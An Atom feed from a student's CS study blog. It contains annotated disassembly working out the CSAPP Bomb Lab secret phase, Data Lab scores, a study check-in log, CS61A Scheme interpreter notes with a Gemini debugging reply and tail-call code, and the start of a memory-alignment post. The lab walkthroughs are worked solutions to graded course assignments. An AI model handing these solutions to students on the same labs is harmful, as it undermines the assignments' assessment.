    0x000007      0x000000</span><br><span class="line">// 0x603260 &lt;n42+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603270 &lt;n43&gt;:         0x000014      0x000000</span><br><span class="line">// 0x603280 &lt;n43+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603290 &lt;n46&gt;:         0x00002f      0x000000</span><br><span class="line">// 0x6032a0 &lt;n46+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">// 0x6032b0 &lt;n48&gt;:         0x0003e9      0x000000</span><br><span class="line">// 0x6032c0 &lt;n48+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">//                 0x24</span><br><span class="line">//           /              \</span><br><span class="line">//        0x8              0x32</span><br><span class="line">//       /  \              /  \</span><br><span class="line">//     0x6   0x16       0x2d 0x6b</span><br><span class="line">//    /  \   /  \      /  \   /  \</span><br><span class="line">// 0x1 0x7 0x14 0x23 0x28 0x2f 0x63 0x3e9</span><br><span class="line"></span><br><span class="line">0000000000401204 &lt;fun7&gt;:</span><br><span class="line">  401204:48 83 ec 08          sub    $0x8,%rsp // 分配 0x8 空间</span><br><span class="line">  401208:48 85 ff             test   %rdi,%rdi</span><br><span class="line">  40120b:74 2b                je     401238 &lt;fun7+0x34&gt; // if %rdi == 0, jump to 401238 // 代表没有子节点，返回 -1</span><br><span class="line">  40120d:8b 17                mov    (%rdi),%edx // %edx = *(%rdi) // 取当前 node 的值</span><br><span class="line">  40120f:39 f2                cmp    %esi,%edx // compare %edx with %esi</span><br><span class="line">  401211:7e 0d                jle    401220 &lt;fun7+0x1c&gt; // if %edx &lt;= %esi, jump to 401220</span><br><span class="line"></span><br><span class="line">  // %edx &gt; %esi</span><br><span class="line">  401213:48 8b 7f 08          mov    0x8(%rdi),%rdi // %rdi = *(%rdi + 0x8) // left child node</span><br><span class="line">  401217:e8 e8 ff ff ff       call   401204 &lt;fun7&gt;</span><br><span class="line">  40121c:01 c0                add    %eax,%eax // %eax = %eax + %eax // %eax * 2</span><br><span class="line">  40121e:eb 1d                jmp    40123d &lt;fun7+0x39&gt;</span><br><span class="line"></span><br><span class="line">  // %edx &lt;= %esi</span><br><span class="line">  401220:b8 00 00 00 00       mov    $0x0,%eax // %eax = 0</span><br><span class="line">  401225:39 f2                cmp    %esi,%edx // compare %edx with %esi</span><br><span class="line">  401227:74 14                je     40123d &lt;fun7+0x39&gt; // if %edx == %esi, jump to 40123d</span><br><span class="line"></span><br><span class="line">  // %edx &lt; %esi</span><br><span class="line">  401229:48 8b 7f 10          mov    0x10(%rdi),%rdi // %rdi = *(%rdi + 0x10 (16)) // right child node</span><br><span class="line">  40122d:e8 d2 ff ff ff       call   401204 &lt;fun7&gt;</span><br><span class="line">  401232:8d 44 00 01          lea    0x1(%rax,%rax,1),%eax // %eax = 1 + %rax + %rax // %eax = 2 * %rax + 1</span><br><span class="line">  401236:eb 05                jmp    40123d &lt;fun7+0x39&gt;</span><br><span class="line"></span><br><span class="line">  401238:b8 ff ff ff ff       mov    $0xffffffff,%eax // %eax = -1 // not found</span><br><span class="line"></span><br><span class="line">  40123d:48 83 c4 08          add    $0x8,%rsp</span><br><span class="line">  401241:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401242 &lt;secret_phase&gt;:</span><br><span class="line">  401242:53                   push   %rbx</span><br><span class="line">  401243:e8 56 02 00 00       call   40149e &lt;read_line&gt;</span><br><span class="line">  401248:ba 0a 00 00 00       mov    $0xa,%edx // %edx = 0xa (10) 进制</span><br><span class="line">  40124d:be 00 00 00 00       mov    $0x0,%esi // %esi = 0</span><br><span class="line">  401252:48 89 c7             mov    %rax,%rdi // %rdi = %rax (read_line 的结果)</span><br><span class="line">  401255:e8 76 f9 ff ff       call   400bd0 &lt;strtol@plt&gt; // str to long, %rax = 结果</span><br><span class="line">  40125a:48 89 c3             mov    %rax,%rbx // %rbx = %rax</span><br><span class="line">  40125d:8d 40 ff             lea    -0x1(%rax),%eax // %eax = %rax - 1</span><br><span class="line">  401260:3d e8 03 00 00       cmp    $0x3e8,%eax // compare %eax with 0x3e8 (1000) // 输入的数字 - 1 和 1000 比较</span><br><span class="line">  401265:76 05                jbe    40126c &lt;secret_phase+0x2a&gt; // if %eax &lt;= 1000, jump to 40126c, else explode the bomb // 输入的数字必须在 1～1001 之间</span><br><span class="line">  401267:e8 ce 01 00 00       call   40143a &lt;explode_bomb&gt;</span><br><span class="line">  40126c:89 de                mov    %ebx,%esi // %esi = %ebx</span><br><span class="line">  40126e:bf f0 30 60 00       mov    $0x6030f0,%edi // root</span><br><span class="line">  401273:e8 8c ff ff ff       call   401204 &lt;fun7&gt; // %esi 是输入的数字，%edi 是树的根节点地址</span><br><span class="line">  40127b:74 05                je     401282 &lt;secret_phase+0x40&gt; // if %eax == 2, jump to 401282 // %eax = 000000...0010 // left left ... left right left end</span><br><span class="line">  40127d:e8 b8 01 00 00       call   40143a &lt;explode_bomb&gt;</span><br><span class="line">  401282:bf 38 24 40 00       mov    $0x402438,%edi // Wow! You&#x27;ve defused the secret stage!</span><br><span class="line">  401287:e8 84 f8 ff ff       call   400b10 &lt;puts@plt&gt;</span><br><span class="line">  40128c:e8 33 03 00 00       call   4015c4 &lt;phase_defused&gt;</span><br><span class="line">  401291:5b                   pop    %rbx</span><br><span class="line">  401292:c3                   ret</span><br><span class="line">  401293:90                   nop</span><br><span class="line">  401294:90                   nop</span><br><span class="line">  401295:90                   nop</span><br><span class="line">  401296:90                   nop</span><br><span class="line">  401297:90                   nop</span><br><span class="line">  401298:90                   nop</span><br><span class="line">  401299:90                   nop</span><br><span class="line">  40129a:90                   nop</span><br><span class="line">  40129b:90                   nop</span><br><span class="line">  40129c:90                   nop</span><br><span class="line">  40129d:90                   nop</span><br><span class="line">  40129e:90                   nop</span><br><span class="line">  40129f:90                   nop</span><br></pre></td></tr></table></figure></detial><h2 id="todo"><a class="markdownIt-Anchor" href="#todo"></a> TODO</h2><p>我希望在后续补充记录一些用到的 gdb 调试和寄存器、指令的内容，可能新开 post 或者以后再下面补充。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/03/03/csapp/bomb-lab/</id>
    <link href="https://blog.z0z0r4.top/2026/03/03/csapp/bomb-lab/"/>
    <published>2026-03-03T07:59:34.000Z</published>
    <summary>
      <![CDATA[<p>2026-03-03 完成 😄</p>]]>
    </summary>
    <title>CSAPP Bomb Lab</title>
    <updated>2026-04-07T16:04:53.349Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>2026-02-25 到 2026-02-28 完成 😐</p><span id="more"></span><hr /><p><a href="https://csapp.cs.cmu.edu/3e/datalab-handout.tar">材料下载</a></p><p>其中有一些工具：</p><p><code>btest</code> 可以用来测试，<code>btest -f func_name</code> 可以测试指定函数，<code>-1 value1 -2 value2 - 3 value3</code> 可以指定测试参数</p><p><code>dlc -e bits.c</code> 可以纠正风格和统计操作符数量</p><p><code>ishow</code> 和 <code>fshow</code> 可以分别显示 int 和 float 的相关信息，比如</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">❯ ./ishow 127</span><br><span class="line">Hex = 0x0000007f,       Signed = 127,   Unsigned = 127</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">❯ ./fshow 3.75</span><br><span class="line"></span><br><span class="line">Floating point value 3.75</span><br><span class="line">Bit Representation 0x40700000, sign = 0, exponent = 0x80, fraction = 0x700000</span><br><span class="line">Normalized.  +1.8750000000 X 2^(1)</span><br></pre></td></tr></table></figure><p>具体见 <code>ishow -h</code> 和 <code>fshow -h</code></p><p><code>driver.pl</code> 用来评分</p><hr /><p>确实得写Lab，我一开始只想看书，但试了下发现不实践不会遇到很多诡异的需求…</p><p>好几个问题都无从下手，奇怪的技巧，<s>被迫借鉴思路</s>…相比只下 Rating 4 的两个 float 显得简单很多。</p><p>实现太丑陋了，在写完全部 Lab 之前不公开 =_=</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">❯ ./driver.pl</span><br><span class="line">1. Running &#x27;./dlc -z&#x27; to identify coding rules violations.</span><br><span class="line"></span><br><span class="line">2. Compiling and running &#x27;./btest -g&#x27; to determine correctness score.</span><br><span class="line">gcc -O -Wall -m32 -lm -o btest bits.c btest.c decl.c tests.c </span><br><span class="line"></span><br><span class="line">3. Running &#x27;./dlc -Z&#x27; to identify operator count violations.</span><br><span class="line"></span><br><span class="line">4. Compiling and running &#x27;./btest -g -r 2&#x27; to determine performance score.</span><br><span class="line">gcc -O -Wall -m32 -lm -o btest bits.c btest.c decl.c tests.c </span><br><span class="line"></span><br><span class="line">5. Running &#x27;./dlc -e&#x27; to get operator count of each function.</span><br><span class="line"></span><br><span class="line">Correctness Results     Perf Results</span><br><span class="line">Points  Rating  Errors  Points  Ops     Puzzle</span><br><span class="line">1       1       0       2       7       bitXor</span><br><span class="line">1       1       0       2       1       tmin</span><br><span class="line">1       1       0       2       7       isTmax</span><br><span class="line">2       2       0       2       7       allOddBits</span><br><span class="line">2       2       0       2       2       negate</span><br><span class="line">3       3       0       2       12      isAsciiDigit</span><br><span class="line">3       3       0       2       8       conditional</span><br><span class="line">3       3       0       2       20      isLessOrEqual</span><br><span class="line">4       4       0       2       5       logicalNeg</span><br><span class="line">4       4       0       2       49      howManyBits</span><br><span class="line">4       4       0       2       18      floatScale2</span><br><span class="line">4       4       0       2       19      floatFloat2Int</span><br><span class="line">4       4       0       2       8       floatPower2</span><br><span class="line"></span><br><span class="line">Score = 62/62 [36/36 Corr + 26/26 Perf] (163 total operators)</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/02/25/csapp/data-lab/</id>
    <link href="https://blog.z0z0r4.top/2026/02/25/csapp/data-lab/"/>
    <published>2026-02-25T10:45:09.000Z</published>
    <summary>
      <![CDATA[<p>2026-02-25 到 2026-02-28 完成 😐</p>]]>
    </summary>
    <title>CSAPP Data Lab</title>
    <updated>2026-03-28T06:32:33.026Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="daily-record" scheme="https://blog.z0z0r4.top/categories/daily-record/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/daily-record/CS/"/>
    <category term="daily-record" scheme="https://blog.z0z0r4.top/tags/daily-record/"/>
    <content>
      <![CDATA[<p>这里是存档点。</p><span id="more"></span><h1 id="look-back"><a class="markdownIt-Anchor" href="#look-back"></a> Look Back</h1><p>寒假结束前几天，回顾了一下整个大一，发现我在 12 月之前的进度非常差，高数和线代花费了很多时间，12 月之前居然连 CS61A 都没能完成，考完试才开始推 CS61B 和补充 CS61A 的 Scheme。</p><p>我在几天前还觉得到最后进度不错，但回想起来，实际上没放假的时候，白天的时间被学校的课程占用完了，没有决心全心投入在 CS 上还希望能够推进度，是我有点又懒又贪心了 ：（</p><blockquote><p>了解到全心自学的同学连 OS 都推玩了，深感愧疚</p></blockquote><p>虽然会有各种事项，可能是学校课程、比赛、课题，我也希望能够保持绩点，也争取读研，但我还是决定更贪心一点吧。决定将我的最大兴趣——CS 本身重新放回第一位。重开 Blog 本身就是为了 push 自己自学，以留下记录的方式，但整体进度仍然太慢。诚然我觉得自己在 CS61B 中花了不少时间自行探索是值得的，那更要挤压时间来推课程了，毕竟我更贪心地选择了满足自己的好奇心。</p><p>上学期花了不少时间在看视频和玩游戏上，整个人都是昏昏的 😦</p><ol><li><p>首先得把睡眠纠正回来，开学后早上 8 点前就得起床，而我完全睡眠也需要8小时左右，那我必须纠正回12点半之前睡觉</p></li><li><p>我还没考虑好到底要不要抛掉考勤，很可能我最后也会去绝大部分课，但上学期开始的预期是去了但是自学推进度，实际上因为昏昏沉沉的只是在摸鱼，不管如何必须在无用的课上推进度才行</p></li><li><p>晚上的时间必须利用起来，不能再摸鱼看视频了</p></li></ol><h1 id="plan"><a class="markdownIt-Anchor" href="#plan"></a> Plan</h1><p>晚上不干活就坐地铁去周围的地标打卡吧 😃 起码不能赖着</p><ul><li>[x] 骑车去大学城</li><li>[ ] 去大夫山骑车</li><li>[ ] 去广州塔</li></ul><p>后续继续加，晚上反正有空就去走，周末自习</p><hr /><p>目标（我觉得不我一个学期能做完…）：</p><p><a href="https://csdiy.wiki">https://csdiy.wiki</a></p><ul><li>[ ] CSAPP</li><li>[ ] CLRS<br /><s>- [ ] CS70/61200J/6042J 离散数学</s></li><li>[ ] CS168 计网</li><li>[ ] 15-445 数据库</li><li>[ ] OS（未定）</li></ul><p>很明显这个计划会延伸到暑假，希望我能够在下学期内尽快搞定前三个，不要拖到期末 =-=</p><hr /><p>接下来会在这里打卡，从 2.27 回到学校开始</p><h1 id="check-in"><a class="markdownIt-Anchor" href="#check-in"></a> Check-In</h1><h2 id="2026-02-28"><a class="markdownIt-Anchor" href="#2026-02-28"></a> 2026-02-28</h2><p><a href="/2026/02/25/csapp/data-lab">完成 CSAPP DataLab</a></p><h2 id="2026-03-03"><a class="markdownIt-Anchor" href="#2026-03-03"></a> 2026-03-03</h2><p><a href="/2026/03/03/csapp/bomb-lab">完成 CSAPP BobmLab</a></p><h2 id="2026-03-22"><a class="markdownIt-Anchor" href="#2026-03-22"></a> 2026-03-22</h2><p>最近有进展的只有 CLRS，CSAPP 被暂时搁置了…</p><h2 id="2026-04-26"><a class="markdownIt-Anchor" href="#2026-04-26"></a> 2026-04-26</h2><p>CSAPP 的进展到链接，但是剩下的部分不打算细读写 Blog 了，也许会完成 Lab</p><p>CLRS 我负责分享的下一章是 B 树，也许可以配合着试着开 15-445</p><p>将离散从计划表中划去</p><p>最近周末总是两三四点睡，快中午才起…一到五也还是将近 2 点才睡…</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/02/24/check-in/</id>
    <link href="https://blog.z0z0r4.top/2026/02/24/check-in/"/>
    <published>2026-02-24T04:57:52.000Z</published>
    <summary>
      <![CDATA[<p>这里是存档点。</p>]]>
    </summary>
    <title>Plan and Check-in</title>
    <updated>2026-04-26T06:46:33.876Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CS61A" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CS61A/"/>
    <category term="CS61A" scheme="https://blog.z0z0r4.top/tags/CS61A/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <content>
      <![CDATA[<p>完成 CS61A 的 Scheme 相关部分。</p><span id="more"></span><p>今天在补之前剩下的 CS61A 的内容，在做 Project Scheme。里面的 <code>Link</code> 让我非常坐牢，还有 Scheme 的各种奇怪的语法。</p><p>但这里面的作用域 <code>env</code> 的强调确实不错，以及没有循环只有递归着实让我感到抽象，不看 Gemini 没法入手。</p><p>精神状态比较差，在没有实现 EC1 <code>do_cond_form</code> 的情况下，一直在 Problem 14 里面用 <code>cond</code> 导致我写的实现一直报错，在 Scheme Online 里面测试也没问题，参考 <a href="https://github.com/eeoeqaq/cs61A_2025_fall_resource/blob/master/proj/scheme/questions.scm">https://github.com/eeoeqaq/cs61A_2025_fall_resource/blob/master/proj/scheme/questions.scm</a> 发现他的都是 <code>if</code> 的实现，但也还是没想出原因。</p><p>最后还是 Gemini 3 PRO 给我找出来了（虽然没完全猜对就是了，以为我没 <code>return</code> 结果是完全没实现）…虽然我没有给 Gemini 看完整的仓库，但它还是猜出了问题所在，不赖，瞬间感觉值了，就是我一怒之下怒了一下，释怀了…</p><details><summary>Gemini 记录</summary><p>这个报错 <strong><code>argument 0 of car has wrong type (NoneType)</code></strong> 是最关键的线索。</p><p>这更加证实了我刚才的判断：<strong>你的 Scheme 代码逻辑是完全正确的，问题出在你用 Python 编写的解释器底层实现上（Specifically <code>do_cond_form</code>）</strong>。</p><p>这个报错揭示了错误的<strong>传播路径</strong>，这是一个非常经典的 CS 61A Project 踩坑现场。</p><h3 id="错误发生了什么案情重演"><a class="markdownIt-Anchor" href="#错误发生了什么案情重演"></a> 错误发生了什么？（案情重演）</h3><p>让我们拆解你的测试代码：<br /><code>(define with-tree (set (set schememon 'tree 3) 'fibo 4))</code></p><p>这一行代码是<strong>嵌套调用</strong>：</p><ol><li><strong>内层调用</strong>：<code>(set schememon 'tree 3)</code> 先执行。</li><li><strong>外层调用</strong>：<code>(set [内层的结果] 'fibo 4)</code> 后执行。</li></ol><p><strong>灾难链条如下：</strong></p><ol><li><strong>内层执行</strong>：解释器执行内层的 <code>set</code>。因为你用了 <code>cond</code> 版本，解释器调用了你写的 <code>do_cond_form</code> (Python 函数)。</li><li><strong>Python Bug</strong>：你的 <code>do_cond_form</code> 在处理某些分支（比如 <code>else</code> 或递归分支）时，计算出了正确结果，但是<strong>忘记写 <code>return</code> 语句</strong>，或者没有正确传递返回值。</li></ol><ul><li>在 Python 中，如果函数结束没有返回东西，默认返回 <code>None</code>。</li></ul><ol start="3"><li><strong>返回空值</strong>：内层的 <code>(set ...)</code> 本该返回一个新的列表，结果它静悄悄地返回了 Python 的 <code>None</code>。</li><li><strong>外层接盘</strong>：外层的 <code>set</code> 开始执行。它接收到的第一个参数 <code>dict</code> 变成了 <code>None</code>（来自内层的错误返回）。</li></ol><ul><li>现在的调用相当于：<code>(set None 'fibo 4)</code>。</li></ul><ol start="5"><li><strong>触发崩溃</strong>：</li></ol><ul><li>代码进入 <code>cond</code>。</li><li>先检查 <code>(null? dict)</code>。如果你的 <code>do_null_form</code> 实现得健壮，<code>null?(None)</code> 可能返回 False（因为它不是 Scheme 的 <code>nil</code>）。</li><li>接着检查 <code>(equal? (caar dict) key)</code>。</li><li>解释器尝试求值 <code>(caar dict)</code> -&gt; 即 <code>(car (car dict))</code>。</li><li>此时 <code>dict</code> 是 <code>None</code>。</li><li>解释器底层执行 <code>car(None)</code>。</li><li><strong>报错</strong>：<code>argument 0 of car has wrong type (NoneType)</code>。</li></ul><h3 id="为什么-if-版本可以"><a class="markdownIt-Anchor" href="#为什么-if-版本可以"></a> 为什么 <code>if</code> 版本可以？</h3><p>因为 <code>if</code> 是 Scheme 最基础的 Special Form，通常在项目早期就实现了，而且逻辑简单（非真即假），不容易出现“忘记 return”或者“控制流掉进黑洞”的情况。既然 <code>if</code> 版本能跑通，说明你的 <code>set</code> 逻辑算法本身是满分的。</p><h3 id="如何修复"><a class="markdownIt-Anchor" href="#如何修复"></a> 如何修复？</h3><p>你需要检查你的 Python 源代码（通常是 <code>scheme_eval_apply.py</code> 或类似文件）中关于 <code>do_cond_form</code> 的实现。</p><p><strong>检查重点：</strong><br />在 <code>do_cond_form</code> 里，当你遍历条件列表并找到一个成立的条件（或者 <code>else</code>）时，你是怎么处理的？</p><ul><li><strong>错误写法 (可能是你现在的样子)：</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> is_true_primitive(test):</span><br><span class="line">    scheme_eval(clause.rest.first, env) <span class="comment"># &lt;--- 致命错误：计算了，但没把结果抛出去！</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li><strong>正确写法：</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> is_true_primitive(test):</span><br><span class="line">    <span class="keyword">return</span> scheme_eval(clause.rest.first, env) <span class="comment"># &lt;--- 必须 Return！</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>一句话总结：</strong><br />你的 Scheme 代码写得很好，去给你的 Python 解释器的 <code>cond</code> 实现补上缺失的 <code>return</code> 吧。</p></details><h2 id="尾递归优化"><a class="markdownIt-Anchor" href="#尾递归优化"></a> 尾递归优化</h2><p>栈帧深度有限制，递归过深会导致栈溢出，如果是尾递归的话，可以进行尾递归优化，复用栈帧，避免栈溢出。</p><p>但是 Python 不会释放栈帧，只能通过将 <code>expr</code> 和 <code>env</code> 进行拷贝，然后在外部循环中执行来实现尾递归优化。</p><p>在 CS61A 的 Scheme 实现中，<code>scheme_eval</code> 函数是用来计算 Scheme 表达式的核心函数，<code>eval_all</code> 是用来计算一个表达式列表的函数，还有诸如 <code>do_if_form</code>、<code>do_or_form</code>、<code>do_cond_form</code>、<code>do_and_form</code> 函数，他们调用 <code>scheme_eval</code> 来计算子表达式。</p><p>从局部上看，这些函数都有“尾部”，例如在 <code>and</code> 和 <code>or</code> 中，最后一个表达式的计算就是尾部调用；在 <code>if</code> 和 <code>cond</code> 中，每个分支的计算也是尾部调用，调用完后就没有其他操作了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">optimize_tail_calls</span>(<span class="params">unoptimized_scheme_eval</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Return a properly tail recursive version of an eval function.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">optimized_eval</span>(<span class="params">expr, env, tail=<span class="literal">False</span></span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Evaluate Scheme expression EXPR in Frame ENV. If TAIL,</span></span><br><span class="line"><span class="string">        return an Unevaluated containing an expression for further evaluation.</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">if</span> tail <span class="keyword">and</span> <span class="keyword">not</span> scheme_symbolp(expr) <span class="keyword">and</span> <span class="keyword">not</span> self_evaluating(expr):</span><br><span class="line">            <span class="keyword">return</span> Unevaluated(expr, env)</span><br><span class="line"></span><br><span class="line">        result = Unevaluated(expr, env)</span><br><span class="line">        <span class="comment"># BEGIN OPTIONAL PROBLEM 3</span></span><br><span class="line">        <span class="string">&quot;*** YOUR CODE HERE ***&quot;</span></span><br><span class="line">        <span class="keyword">while</span> <span class="built_in">isinstance</span>(result, Unevaluated):</span><br><span class="line">            result = unoptimized_scheme_eval(result.expr, result.env)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> result</span><br><span class="line">        <span class="comment"># END OPTIONAL PROBLEM 3</span></span><br><span class="line">    <span class="keyword">return</span> optimized_eval</span><br></pre></td></tr></table></figure><p>CS61A 中让所有的语句执行都用 <code>optimized_eval</code> 来执行，根据 <code>tail</code> 参数来决定是否进行尾递归优化。</p><ul><li><p><code>tail=True</code>：表示这是一个尾调用，返回一个 <code>Unevaluated</code> 对象，包含表达式和环境，传递给外层的 <code>while</code> 循环来处理。</p></li><li><p><code>tail=False</code>：表示不是尾调用，开启一个循环处理当前的表达式对应的 <code>Unevaluated</code> 对象，直到得到一个最终的结果。</p></li></ul><p>当 <code>tail=False</code>，若 <code>expr</code> 是一般语句，可能只需要一次 <code>unoptimized_scheme_eval</code> 就能得到结果；然而过程的可能会是递归语句，得循环反复处理尾调语句返回的 <code>Unevaluated</code> 对象，直到得到一个最终结果。</p><p>注意是“外层的 <code>while</code> 循环”，这样的循环可能有很多层嵌套，每当执行一个非尾调用语句时，都会开启一个循环。</p><p>如果递归语句在过程中间，那么很显然会不停在 <code>optimized_eval</code> 中执行 <code>scheme_eval</code>，而不会触发尾递归优化，很快触发 Python 的递归深度限制。</p><p>注意应该留心在应该加上 <code>tail=True</code> 的地方都加上。</p><p>假设 <code>do_if_form</code> 的 <code>else</code> 分支调用 <code>optimized_eval</code> 传入的是 <code>tail=False</code> 的话，若 <code>else</code> 分支里有一个递归调用，这个分支里就不会进行尾递归优化，这个栈将不会被释放，在<code>while</code> 循环跑完整一个递归过程，拿到结果，返回给更上一层的循环中（因为递归中产生的 <code>Unevaluated</code> 对象都抛到了这个未正确设置 <code>tail=True</code> 的 <code>optimized_eval</code> 中，而不是其上一层的 <code>optimized_eval</code> 循环中）之前，这一帧都不会释放。</p><p>看起来只是增加了一帧，真正危险在于，假设递归函数内部的递归调用语句也在没有正确设置 <code>tail=True</code> 的 <code>do_if_form</code> 上的话，那么每一次递归都会开一个 <code>while</code> 循环，这个递归调用会继续不停增加栈帧，像未优化一样线性堆叠。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/02/06/CS61A-Scheme/</id>
    <link href="https://blog.z0z0r4.top/2026/02/06/CS61A-Scheme/"/>
    <published>2026-02-05T17:13:48.000Z</published>
    <summary>
      <![CDATA[<p>完成 CS61A 的 Scheme 相关部分。</p>]]>
    </summary>
    <title>CS61A Scheme</title>
    <updated>2026-03-28T06:34:28.888Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>关于内存对齐的记录。</p><span id="more"></span><h1 id="定义"><a class="markdownIt-Anchor" href="#定义"></a> 定义</h1><p>当内存地址 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的倍数，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 是 2 的幂时，称地址 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 字节对齐的。</p><p>当被访问的数据长度是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 字节且起始地址 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 字节对齐，那么该数据是对齐的，否则是不对齐的。</p><h1 id="基本类型的对齐"><a class="markdownIt-Anchor" href="#基本类型的对齐"></a> 基本类型的对齐</h1><ul><li><p>char 是 1 字节对齐</p></li><li><p>short 是 2 字节对齐</p></li><li><p>int 是 4 字节对齐</p></li><li><p>long 是 4 字节对齐（32 位系统）或 8 字节对齐（64 